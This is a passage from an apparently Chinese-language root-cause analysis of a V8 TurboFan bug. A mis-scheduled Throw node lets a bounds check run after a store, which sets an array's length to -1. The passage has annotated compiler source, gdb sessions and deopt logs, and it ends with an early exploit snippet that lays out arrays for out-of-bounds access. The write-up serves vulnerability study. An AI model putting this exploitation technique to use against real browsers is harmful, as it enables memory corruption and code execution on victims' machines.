  NodeVector inputs_buffer(temp_zone());

  // TODO(rmcilroy) We should not depend on having rpo_order on schedule, and
  // instead just do our own RPO walk here.
  for (BasicBlock* block : *(schedule()->rpo_order())) {
    gasm()->Reset(block);

    BasicBlock::iterator instr = block->begin();
    BasicBlock::iterator end_instr = block->end();

    // The control node should be the first.
    Node* control = *instr;
    gasm()->AddNode(control);

    DCHECK(NodeProperties::IsControl(control));
    bool has_incoming_backedge = IrOpcode::kLoop == control->opcode();
    // Update the control inputs.
    if (has_incoming_backedge) {
      // If there are back edges, we need to update later because we have not
      // computed the control yet.
      pending_block_controls.push_back(block);
    } else {
      // If there are no back edges, we can update now.
      UpdateBlockControl(block, &block_effects);
    }
    instr++;

    // Iterate over the phis and update the effect phis.
    Node* effect_phi = nullptr;
    Node* terminate = nullptr;
    for (; instr != end_instr; instr++) {
      Node* node = *instr;
      // Only go through the phis and effect phis.
      if (node->opcode() == IrOpcode::kEffectPhi) {
        effect_phi = node;
      } else if (node->opcode() == IrOpcode::kPhi) {
        // Just skip phis.
      } else if (node->opcode() == IrOpcode::kTerminate) {
        DCHECK_NULL(terminate);
        terminate = node;
      } else {
        //对于非phis的node直接退出由下面的ordinary_instruction部分处理
        break;
      }
      //只添加phis和effect phis
      gasm()->AddNode(node);
    }

    if (effect_phi) {
      // Make sure we update the inputs to the incoming blocks' effects.
      if (has_incoming_backedge) {
        pending_effect_phis.push_back(PendingEffectPhi(effect_phi, block));
      } else {
        //更新effect节点的input为block_effect里的effect
        UpdateEffectPhi(effect_phi, block, &block_effects);
      }
    }

    Node* effect = effect_phi;
    if (effect == nullptr) {
      //...
    }

    // The frame state at block entry is determined by the frame states leaving
    // all predecessors. In case there is no frame state dominating this block,
    // we can rely on a checkpoint being present before the next deoptimization.
    Node* frame_state = nullptr;
    if (block != schedule()->start()) {
      // If all the predecessors have the same effect, we can use it
      // as our current effect.
      //找到block第一个前驱和block之间的frame_state
      //该frame_state应当在block和所有前驱之间
      frame_state =
          block_effects.For(block->PredecessorAt(0), block).current_frame_state;
      for (size_t i = 1; i < block->PredecessorCount(); i++) {
        if (block_effects.For(block->PredecessorAt(i), block).current_frame_state != frame_state) {
          frame_state = nullptr;
          //Node* frame_state_zapper_;  // For tracking down compiler::Node::New crashes.
          frame_state_zapper_ = graph()->end();
          break;
        }
      }
    }
    //初始化gasm的effect和control
    gasm()->InitializeEffectControl(effect, control);

    // Process the ordinary instructions.
    for (; instr != end_instr; instr++) {
      Node* node = *instr;
      ProcessNode(node, &frame_state);
    }
    block = gasm()->FinalizeCurrentBlock(block);

    switch (block->control()) {
      case BasicBlock::kGoto:
      case BasicBlock::kNone:
        break;
      case BasicBlock::kCall:
      case BasicBlock::kTailCall:
      case BasicBlock::kSwitch:
      case BasicBlock::kReturn:
      case BasicBlock::kDeoptimize:
      case BasicBlock::kThrow:
      case BasicBlock::kBranch:
        //对于connect_unreachable得到的throw节点，UpdateEffectControlForNode会使用gasm()->effect()和gasm()->control()替代node的effect和control
        //而在先前的函数里它们都被赋值为了mcgraph()->Dead()，因此在后续的elimination里这个180节点会被消除掉，因此只保留了471这个新的Throw节点
        UpdateEffectControlForNode(block->control_input());
        //将control_input的节点(180)设置为当前的effect_和control_(由于effect_outcount=0故不会设置effect)
        gasm()->UpdateEffectControlWith(block->control_input());
        break;
    }
    //...
  }

  for (BasicBlock* pending_block_control : pending_block_controls) {
    UpdateBlockControl(pending_block_control, &block_effects);
  }
  // Update the incoming edges of the effect phis that could not be processed
  // during the first pass (because they could have incoming back edges).
  for (const PendingEffectPhi& pending_effect_phi : pending_effect_phis) {
    UpdateEffectPhi(pending_effect_phi.effect_phi, pending_effect_phi.block,
                    &block_effects);
  }
}

ProcessNode方法对除了effect phis/phis等节点之外的其他节点进行处理，TryWireInStateEffect函数对节点做lower处理，我们重点关注其中对于Unreachable节点的处理函数ConnectUnreachableToEnd。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
//src/compiler/effect-control-linearizer.cc:768
void EffectControlLinearizer::ProcessNode(Node* node, Node** frame_state) {
  SourcePositionTable::Scope scope(source_positions_,
                                   source_positions_->GetSourcePosition(node));
  NodeOriginTable::Scope origin_scope(node_origins_, "process node", node);

  // If basic block is unreachable after this point, update the node's effect
  // and control inputs to mark it as dead, but don't process further.
  if (gasm()->effect() == jsgraph()->Dead()) {
    //假如基本块在这个节点后不可达，则更新node的effect输入和control输入为当前值
    UpdateEffectControlForNode(node);
    return;
  }

  // If the node needs to be wired into the effect/control chain, do this
  // here. Pass current frame state for lowering to eager deoptimization.
  //将node/control链入effect/control chain中
  if (TryWireInStateEffect(node, *frame_state)) {
    return;
  }

  // If the node has a visible effect, then there must be a checkpoint in the
  // effect chain before we are allowed to place another eager deoptimization
  // point. We zap the frame state to ensure this invariant is maintained.
  if (region_observability_ == RegionObservability::kObservable &&
      !node->op()->HasProperty(Operator::kNoWrite)) {
    *frame_state = nullptr;
    frame_state_zapper_ = node;
  }

  // Remove the end markers of 'atomic' allocation region because the
  // region should be wired-in now.
  //这里的region指在基础知识里介绍的原子性质的内存区域
  if (node->opcode() == IrOpcode::kFinishRegion) {
    // Reset the current region observability.
    region_observability_ = RegionObservability::kObservable;
    return RemoveRenameNode(node);
  }
  if (node->opcode() == IrOpcode::kBeginRegion) {
    region_observability_ = RegionObservabilityOf(node->op());
    return RemoveRenameNode(node);
  }
  //...
  //最终更新node的control和effect
  UpdateEffectControlForNode(node);

  gasm()->AddNode(node);

  if (node->opcode() == IrOpcode::kUnreachable) {
    // Break the effect chain on {Unreachable} and reconnect to the graph end.
    // Mark the following code for deletion by connecting to the {Dead} node.
    //处理unreachable的节点
    gasm()->ConnectUnreachableToEnd();
  }
}
//src/compiler/effect-control-linearizer.cc:842
bool EffectControlLinearizer::TryWireInStateEffect(Node* node,
                                                   Node* frame_state) {
  Node* result = nullptr;
  switch (node->opcode()) {
    case IrOpcode::kChangeBitToTagged:
      result = LowerChangeBitToTagged(node);
      break;
    case IrOpcode::kChangeInt31ToTaggedSigned:
      result = LowerChangeInt31ToTaggedSigned(node);
      break;
    //...

  if ((result ? 1 : 0) != node->op()->ValueOutputCount()) {
    FATAL(
        "Effect control linearizer lowering of '%s':"
        " value output count does not agree.",
        node->op()->mnemonic());
  }
  //将node的uses改为Lower之后的结果，control改为当前的gasm的control，effect改为gasm的effect
  NodeProperties::ReplaceUses(node, result, gasm()->effect(),
                              gasm()->control());
  return true;
}

ConnectUnreachableToEnd方法将从Unreachable节点到end节点之间创建一个新的Throw节点，通过调试发现这里增加的新节点就是在EffectLinerization阶段出现的471:Throw节点，在MergeControlToEnd里该节点链入了end的前驱中，由于block_updater_==0故不会进入后面的block_updater_->AddThrow(throw_node);调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//src/compiler/graph-assembler.cc:819
void GraphAssembler::ConnectUnreachableToEnd() {
  //Unreachable到End节点之间的连接
  DCHECK_EQ(effect()->opcode(), IrOpcode::kUnreachable);
  Node* throw_node = graph()->NewNode(common()->Throw(), effect(), control());
  //将throw_node作为input同end连接起来
  NodeProperties::MergeControlToEnd(graph(), common(), throw_node);
  //注意这里更新了effect_和control_都为mcgraph()->Dead()
  effect_ = control_ = mcgraph()->Dead();
  if (block_updater_) {
    //debug:这里的block_updater为0
    block_updater_->AddThrow(throw_node);
  }
}
//src/compiler/node-properties.cc:154
void NodeProperties::MergeControlToEnd(Graph* graph,
                                       CommonOperatorBuilder* common,
                                       Node* node) {
  graph->end()->AppendInput(graph->zone(), node);
  graph->end()->set_op(common->End(graph->end()->InputCount()));
}

ProcessNode执行完毕后调用gasm()->FinalizeCurrentBlock(block)处理当前基本块，因为block_updater_==0故这里直接返回原基本块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//src/compiler/graph-assembler.cc:804
BasicBlock* GraphAssembler::FinalizeCurrentBlock(BasicBlock* block) {
  if (block_updater_) {
    block = block_updater_->Finalize(block);
    if (control() == mcgraph()->Dead()) {
      // If the block's end is unreachable, then reset current effect and
      // control to that of the block's throw control node.
      DCHECK(block->control() == BasicBlock::kThrow);
      //对于throw节点的处理，这里获取到throw_node的control和effect
      Node* throw_node = block->control_input();
      control_ = NodeProperties::GetControlInput(throw_node);
      effect_ = NodeProperties::GetEffectInput(throw_node);
    }
  }
  return block;
}

在UpdateEffectControlForNode函数中对基本块的control_input进行处理，将节点的effect/control_input分别替换为gasm()->effect和gasm()->control，注意在ConnectUnreachableToEnd函数中effect_和control_已被设置为了mcgraph()->Dead();，故这里将更新bb3的180:Throw节点的effect/control为Dead。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//src/compiler/effect-control-linearizer.cc:751
void EffectControlLinearizer::UpdateEffectControlForNode(Node* node) {
  // If the node takes an effect, replace with the current one.
  if (node->op()->EffectInputCount() > 0) {
    DCHECK_EQ(1, node->op()->EffectInputCount());
    //将节点的effect输入改为gasm的effect
    //这里假设effect_input只有一个
    NodeProperties::ReplaceEffectInput(node, gasm()->effect());
  } else {
    // New effect chain is only started with a Start or ValueEffect node.
    DCHECK(node->op()->EffectOutputCount() == 0 ||
           node->opcode() == IrOpcode::kStart);
  }

  // Rewire control inputs.
  for (int i = 0; i < node->op()->ControlInputCount(); i++) {
    //替代所有的control
    NodeProperties::ReplaceControlInput(node, gasm()->control(), i);
  }
}

对于Terminate转换为的131:Throw节点，因为该节点不是任何基本块的control_input，因此不会调用UpdateEffectControlForNode(block->control_input());处理该节点，该节点最后将因此被保留下来！

ReduceGraph

重点关注DeadCodeElimination中对于Throw节点的处理，发现当该节点的control->opcode为kDead时则返回Throw节点的control节点作为reduction替换Throw节点，在这里180:Throw节点由于control之前被赋值为了Dead因此被消除，131:Throw节点仍被保留。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//src/compiler/dead-code-elimination.cc:48
Reduction DeadCodeElimination::Reduce(Node* node) {
  DisallowHeapAccess no_heap_access;
  switch (node->opcode()) {
    //...
    case IrOpcode::kUnreachable:
    case IrOpcode::kIfException:
      return ReduceUnreachableOrIfException(node);
    case IrOpcode::kPhi:
      return ReducePhi(node);
    case IrOpcode::kEffectPhi:
      return ReduceEffectPhi(node);
    case IrOpcode::kDeoptimize:
    case IrOpcode::kReturn:
    case IrOpcode::kTerminate:
    case IrOpcode::kTailCall:
      return ReduceDeoptimizeOrReturnOrTerminateOrTailCall(node);
    case IrOpcode::kThrow:
      return PropagateDeadControl(node);
    //...
    default:
      return ReduceNode(node);
  }
  UNREACHABLE();
}
//src/compiler/dead-code-elimination.cc:81
Reduction DeadCodeElimination::PropagateDeadControl(Node* node) {
  DCHECK_EQ(1, node->op()->ControlInputCount());
  Node* control = NodeProperties::GetControlInput(node);
  if (control->opcode() == IrOpcode::kDead) return Replace(control);
  return NoChange();
}

动态调试

通过以上的源码分析我们可以了解到471:Throw节点的生成和180:Throw节点的消失过程，接下来我们结合gdb调试看下第二次ConnectThrow时为什么将两个Throw节点分配到了不同的Basic Block。

在pipeline中每过一个优化阶段都会调用RunPrintAndVerify函数，由于我们调用时添加了--trace-turbo-scheduled --trace-turbo-scheduler参数，因此这里会再次调用ComputeSchedule，日志中对应的输出对应IR图中的第二次schedule结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//Run<EffectControlLinearizationPhase>();
//RunPrintAndVerify(EffectControlLinearizationPhase::phase_name(), true);
//src/compiler/pipeline.cc:2342
void PipelineImpl::RunPrintAndVerify(const char* phase, bool untyped) {
  if (info()->trace_turbo_json_enabled() ||
      info()->trace_turbo_graph_enabled()) {
    Run<PrintGraphPhase>(phase);
  }
  if (FLAG_turbo_verify) {
    Run<VerifyGraphPhase>(untyped);
  }
}
//src/compiler/pipeline.cc:2273
struct PrintGraphPhase {
  DECL_PIPELINE_PHASE_CONSTANTS(PrintGraph)

  void Run(PipelineData* data, Zone* temp_zone, const char* phase) {
    OptimizedCompilationInfo* info = data->info();
    Graph* graph = data->graph();
    //...
    //在调试中我们使用trace-turbo-scheduled和--trace-turbo-scheduler开启了trace
    if (info->trace_turbo_scheduled_enabled()) {
      AccountingAllocator allocator;
      Schedule* schedule = data->schedule();
      if (schedule == nullptr) {
        //这里进行第二次Schedule
        schedule = Scheduler::ComputeSchedule(temp_zone, data->graph(),
                                              Scheduler::kNoFlags,
                                              &info->tick_counter());
      }

      AllowHandleDereference allow_deref;
      CodeTracer::Scope tracing_scope(data->GetCodeTracer());
      OFStream os(tracing_scope.file());
      os << "-- Graph after " << phase << " -- " << std::endl;
      os << AsScheduledGraph(schedule);
    } else if (info->trace_turbo_graph_enabled()) {  // Simple textual RPO.
      //..
    }
  }
};

我们断到RunPrintAndVerify调用处之后在ConnectThrow下断点观察对于Throw节点的处理，首先处理的节点为131:Throw，其control_input分别为70:Call和20:IfFalse，前者不属于任何基本块故找到20:IfFalse节点的基本块bb3，这个过程同第一次Schedule时的结果一致。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
b pipeline.cc:2498
b scheduler.cc:398
[-------------------------------------code-------------------------------------]
   0x55b699143ef1 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+17>:	mov    rdi,rsi
   0x55b699143ef4 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+20>:	xor    esi,esi
   0x55b699143ef6 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+22>:	call   0x55b698f8fdc0 <v8::internal::compiler::NodeProperties::GetControlInput(v8::internal::compiler::Node*, int)>
=> 0x55b699143efb <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+27>:	mov    rbx,rax
   0x55b699143efe <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+30>:	mov    rdi,QWORD PTR [r15+0x10]
   0x55b699143f02 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+34>:	mov    rsi,rax
   0x55b699143f05 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+37>:	call   0x55b69913cd20 <v8::internal::compiler::Schedule::block(v8::internal::compiler::Node*) const>
   0x55b699143f0a <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+42>:	mov    r12,rax
[------------------------------------stack-------------------------------------]
0000| 0x7ffd39321a30 --> 0x55b69b017630 --> 0x55b69b00b928 --> 0x55b6995222f8 (:internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+288>:	0x000055b6994d5750)
0008| 0x7ffd39321a38 --> 0x0 
0016| 0x7ffd39321a40 --> 0x55b69afdafe0 --> 0x55b69afdaf98 --> 0x55b6994e5708 (:internal::compiler::Operator+16>:	0x000055b698771ae0)
0024| 0x7ffd39321a48 --> 0x55b69b016468 --> 0x55b69afc1120 --> 0x1dd8 
0032| 0x7ffd39321a50 --> 0x7ffd39321aa0 --> 0x7ffd39321b20 --> 0x7ffd39321c70 --> 0x7ffd39321e30 --> 0x7ffd39321ec0 (--> ...)
0040| 0x7ffd39321a58 --> 0x55b6991413eb (<v8::internal::compiler::CFGBuilder::Run()+459>:	add    rbx,0x8)
0048| 0x7ffd39321a60 --> 0x7ffd39321a80 --> 0x7ffd39321b40 --> 0x55b69afc1120 --> 0x1dd8 
0056| 0x7ffd39321a68 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055b699143efb	567	    Node* throw_control = NodeProperties::GetControlInput(thr);
gdb-peda$ p *(struct Node*) $rax
$22 = {
  static kOutlineMarker = 0xf,
  static kMaxInlineCapacity = 0xe,
  op_ = 0x55b69b05d310,
  type_ = {
    payload_ = 0x20001
  },
  mark_ = 0x4b,
  bit_field_ = 0x9f000046,(70节点)
  first_use_ = 0x55b69b061b08
}
gdb-peda$ p *(struct Node*) $rax
$24 = {
  static kOutlineMarker = 0xf,
  static kMaxInlineCapacity = 0xe,
  op_ = 0x55b699522268 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+144>,
  type_ = {
    payload_ = 0x0
  },
  mark_ = 0x4b,
  bit_field_ = 0x11000014,(20节点)
  first_use_ = 0x55b69b05d168
}

下面是根据node定位其所在的基本块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
[-------------------------------------code-------------------------------------]
   0x55b699143f6d <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+141>:	mov    rdi,QWORD PTR [r15+0x10]
   0x55b699143f71 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+145>:	mov    rsi,rax
   0x55b699143f74 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+148>:	call   0x55b69913cd20 <v8::internal::compiler::Schedule::block(v8::internal::compiler::Node*) const>
=> 0x55b699143f79 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+153>:	test   rax,rax
   0x55b699143f7c <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+156>:	je     0x55b699143f60 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+128>
   0x55b699143f7e <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+158>:	mov    r12,rax
   0x55b699143f81 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+161>:	mov    rax,QWORD PTR [rip+0x3c0eb8]        # 0x55b699504e40
   0x55b699143f88 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+168>:	cmp    BYTE PTR [rax],0x0
[------------------------------------stack-------------------------------------]
0000| 0x7ffd39321a30 --> 0x55b69b017630 --> 0x55b69b00b928 --> 0x55b6995222f8 (:internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+288>:	0x000055b6994d5750)
0008| 0x7ffd39321a38 --> 0x0 
0016| 0x7ffd39321a40 --> 0x55b69afdafe0 --> 0x55b69afdaf98 --> 0x55b6994e5708 (:internal::compiler::Operator+16>:	0x000055b698771ae0)
0024| 0x7ffd39321a48 --> 0x55b69b016468 --> 0x55b69afc1120 --> 0x1dd8 
0032| 0x7ffd39321a50 --> 0x7ffd39321aa0 --> 0x7ffd39321b20 --> 0x7ffd39321c70 --> 0x7ffd39321e30 --> 0x7ffd39321ec0 (--> ...)
0040| 0x7ffd39321a58 --> 0x55b6991413eb (<v8::internal::compiler::CFGBuilder::Run()+459>:	add    rbx,0x8)
0048| 0x7ffd39321a60 --> 0x7ffd39321a80 --> 0x7ffd39321b40 --> 0x55b69afc1120 --> 0x1dd8 
0056| 0x7ffd39321a68 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
449	      if (predecessor_block != nullptr) break;
gdb-peda$ p * (struct BasicBlock*) $rax
$26 = {
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::BasicBlock:
  //...
  dominator_ = 0x0,
  rpo_next_ = 0x0,
  loop_header_ = 0x0,
  loop_end_ = 0x0,
  loop_depth_ = 0x0,
  control_ = v8::internal::compiler::BasicBlock::kNone,
  control_input_ = 0x0,
  nodes_ = {
    //...
    },
  successors_ = {
    //...
    },
  predecessors_ = {
    //...
      },
  id_ = {
    index_ = 0x3
  }
}
gdb-peda$

第二次处理471:Throw节点，其control_input分别为470:DeoptimizeUnless->466:DeoptimizeUnless->461:Merge节点，前两个不属于任何基本块，461:Merge节点对应的基本块为bb4。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
[-------------------------------------code-------------------------------------]
   0x55b699143ef1 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+17>:	mov    rdi,rsi
   0x55b699143ef4 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+20>:	xor    esi,esi
   0x55b699143ef6 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+22>:	call   0x55b698f8fdc0 <v8::internal::compiler::NodeProperties::GetControlInput(v8::internal::compiler::Node*, int)>
=> 0x55b699143efb <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+27>:	mov    rbx,rax
   0x55b699143efe <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+30>:	mov    rdi,QWORD PTR [r15+0x10]
   0x55b699143f02 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+34>:	mov    rsi,rax
   0x55b699143f05 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+37>:	call   0x55b69913cd20 <v8::internal::compiler::Schedule::block(v8::internal::compiler::Node*) const>
   0x55b699143f0a <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+42>:	mov    r12,rax
[------------------------------------stack-------------------------------------]
0000| 0x7ffd39321a30 --> 0x55b69b017638 --> 0x55b69b061f00 --> 0x55b6995222f8 (:internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+288>:	0x000055b6994d5750)
0008| 0x7ffd39321a38 --> 0x0 
0016| 0x7ffd39321a40 --> 0x55b69afdafe0 --> 0x55b69afdaf98 --> 0x55b6994e5708 (:internal::compiler::Operator+16>:	0x000055b698771ae0)
0024| 0x7ffd39321a48 --> 0x55b69b016468 --> 0x55b69afc1120 --> 0x1dd8 
0032| 0x7ffd39321a50 --> 0x7ffd39321aa0 --> 0x7ffd39321b20 --> 0x7ffd39321c70 --> 0x7ffd39321e30 --> 0x7ffd39321ec0 (--> ...)
0040| 0x7ffd39321a58 --> 0x55b6991413eb (<v8::internal::compiler::CFGBuilder::Run()+459>:	add    rbx,0x8)
0048| 0x7ffd39321a60 --> 0x7ffd39321a80 --> 0x7ffd39321b40 --> 0x55b69afc1120 --> 0x1dd8 
0056| 0x7ffd39321a68 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055b699143efb	567	    Node* throw_control = NodeProperties::GetControlInput(thr);
gdb-peda$ p *(struct Node*) $rax
$28 = {
  static kOutlineMarker = 0xf,
  static kMaxInlineCapacity = 0xe,
  op_ = 0x55b6995232e0 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+4360>,
  type_ = {
    payload_ = 0x0
  },
  mark_ = 0x4b,
  bit_field_ = 0x440001d6,(470节点)
  first_use_ = 0x55b69b061ed0
}
gdb-peda$ p *(struct Node*) $rax
$30 = {
  static kOutlineMarker = 0xf,
  static kMaxInlineCapacity = 0xe,
  op_ = 0x55b69b061c38,
  type_ = {
    payload_ = 0x0
  },
  mark_ = 0x4b,
  bit_field_ = 0x440001d2,(466节点)
  first_use_ = 0x55b69b061e30
}
gdb-peda$ p *(struct Node*) $rax
$32 = {
  static kOutlineMarker = 0xf,
  static kMaxInlineCapacity = 0xe,
  op_ = 0x55b699522b08 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+2352>,
  type_ = {
    payload_ = 0x0
  },
  mark_ = 0x4b,
  bit_field_ = 0x220001cd,(461节点)
  first_use_ = 0x55b69b061c90
}

如下所示，index=4标识该基本块为bb4。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
[-------------------------------------code-------------------------------------]
   0x55b699143f6d <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+141>:	mov    rdi,QWORD PTR [r15+0x10]
   0x55b699143f71 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+145>:	mov    rsi,rax
   0x55b699143f74 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+148>:	call   0x55b69913cd20 <v8::internal::compiler::Schedule::block(v8::internal::compiler::Node*) const>
=> 0x55b699143f79 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+153>:	test   rax,rax
   0x55b699143f7c <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+156>:	je     0x55b699143f60 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+128>
   0x55b699143f7e <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+158>:	mov    r12,rax
   0x55b699143f81 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+161>:	mov    rax,QWORD PTR [rip+0x3c0eb8]        # 0x55b699504e40
   0x55b699143f88 <v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+168>:	cmp    BYTE PTR [rax],0x0
[------------------------------------stack-------------------------------------]
0000| 0x7ffd39321a30 --> 0x55b69b017638 --> 0x55b69b061f00 --> 0x55b6995222f8 (:internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+288>:	0x000055b6994d5750)
0008| 0x7ffd39321a38 --> 0x0 
0016| 0x7ffd39321a40 --> 0x55b69afdafe0 --> 0x55b69afdaf98 --> 0x55b6994e5708 (:internal::compiler::Operator+16>:	0x000055b698771ae0)
0024| 0x7ffd39321a48 --> 0x55b69b016468 --> 0x55b69afc1120 --> 0x1dd8 
0032| 0x7ffd39321a50 --> 0x7ffd39321aa0 --> 0x7ffd39321b20 --> 0x7ffd39321c70 --> 0x7ffd39321e30 --> 0x7ffd39321ec0 (--> ...)
0040| 0x7ffd39321a58 --> 0x55b6991413eb (<v8::internal::compiler::CFGBuilder::Run()+459>:	add    rbx,0x8)
0048| 0x7ffd39321a60 --> 0x7ffd39321a80 --> 0x7ffd39321b40 --> 0x55b69afc1120 --> 0x1dd8 
0056| 0x7ffd39321a68 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
449	      if (predecessor_block != nullptr) break;
gdb-peda$ p * (struct BasicBlock*) $rax
$33 = {
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::BasicBlock:
  loop_number_ = 0xffffffff,
  rpo_number_ = 0xffffffff,
  deferred_ = 0x0,
  dominator_depth_ = 0xffffffff,
  dominator_ = 0x0,
  rpo_next_ = 0x0,
  loop_header_ = 0x0,
  loop_end_ = 0x0,
  loop_depth_ = 0x0,
  control_ = v8::internal::compiler::BasicBlock::kNone,
  control_input_ = 0x0,
  nodes_ = {
    //...
      }
  successors_ = {
    //...
      }
  predecessors_ = {
    //...
    },
  id_ = {
    index_ = 0x4
  }
}
gdb-peda$

在patch之后的版本调试发现ConnectThrow处理471:Throw同vuln版本的处理相同，也是将其作为bb4的control_input。对比之后可以发现，由于131:Throw并不属于任何Basick Block，该节点在EffectControlLinearizationPhase成功躲过了在ConnectUnreachableToEnd调用后使用block->control_input对于Throw节点的effect/control赋值为Dead，进而躲过了reducer的节点消除。在第二次Schedule时再次将其链入bb3，由于节点的支配关系导致416:Unreachable节点所属基本块计算失误，最终由于支配关系导致73:StoreField存放的位置错误，该节点的检查节点460:DeoptimizeUnless所在的基本块指令在store节点后面执行，此时的检查已经没有任何作用，arr.length成功被改为-1。

这一点我们通过打印解优化的日志对比也可以发现：patch的版本里对28行的length赋值和31行的TypedArray赋值都做了解优化，而漏洞版本里只对31行的TypedArray赋值做了解优化。这是因为由71:CheckMaps转换为的460:DeoptimizeUnless检查时已经赋值完毕，没有赋值操作故不需解优化。

1
2
3
4
5
6
7
8
9
10
28:arg1.val = -1;
31:int8arr [ 1500000000-1 ] = 22 ;
//patch
[deoptimizing (DEOPT eager): begin 0x24f2082105dd <JSFunction f (sfi = 0x24f208210189)> (opt #16) @3, FP to SP delta: 24, caller sp: 0x7ffd04816050]
            ;;; deoptimize at <p2.js:28:12>, wrong map
[deoptimizing (DEOPT eager): begin 0x24f2082105dd <JSFunction f (sfi = 0x24f208210189)> (opt #0) @5, FP to SP delta: 24, caller sp: 0x7ffd04816050]
            ;;; deoptimize at <p2.js:31:28>, not a Smi
//vuln
[deoptimizing (DEOPT eager): begin 0x22040821063d <JSFunction f (sfi = 0x2204082101a9)> (opt #0) @4, FP to SP delta: 24, caller sp: 0x7ffe98c50450]
            ;;; deoptimize at <p2.js:31:28>, not a Smi

漏洞利用

PoC已经可以将arr.length置为-1，我们可以借此构造出oob_arr，在之后布置double_arr及obj_arr，利用gc把它们放进Old Space中从而通过oob_arr可控地访问浮点数组和对象数组。

1
2
3
4
5
6
7
8
gc();
var a = {"a":"1"};
var oob_arr = new Array(10);
oob_arr[0] = 1.1;
//trigger vuln
var double_arr = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8];
var obj_arr = [a];
gc();

指针压缩

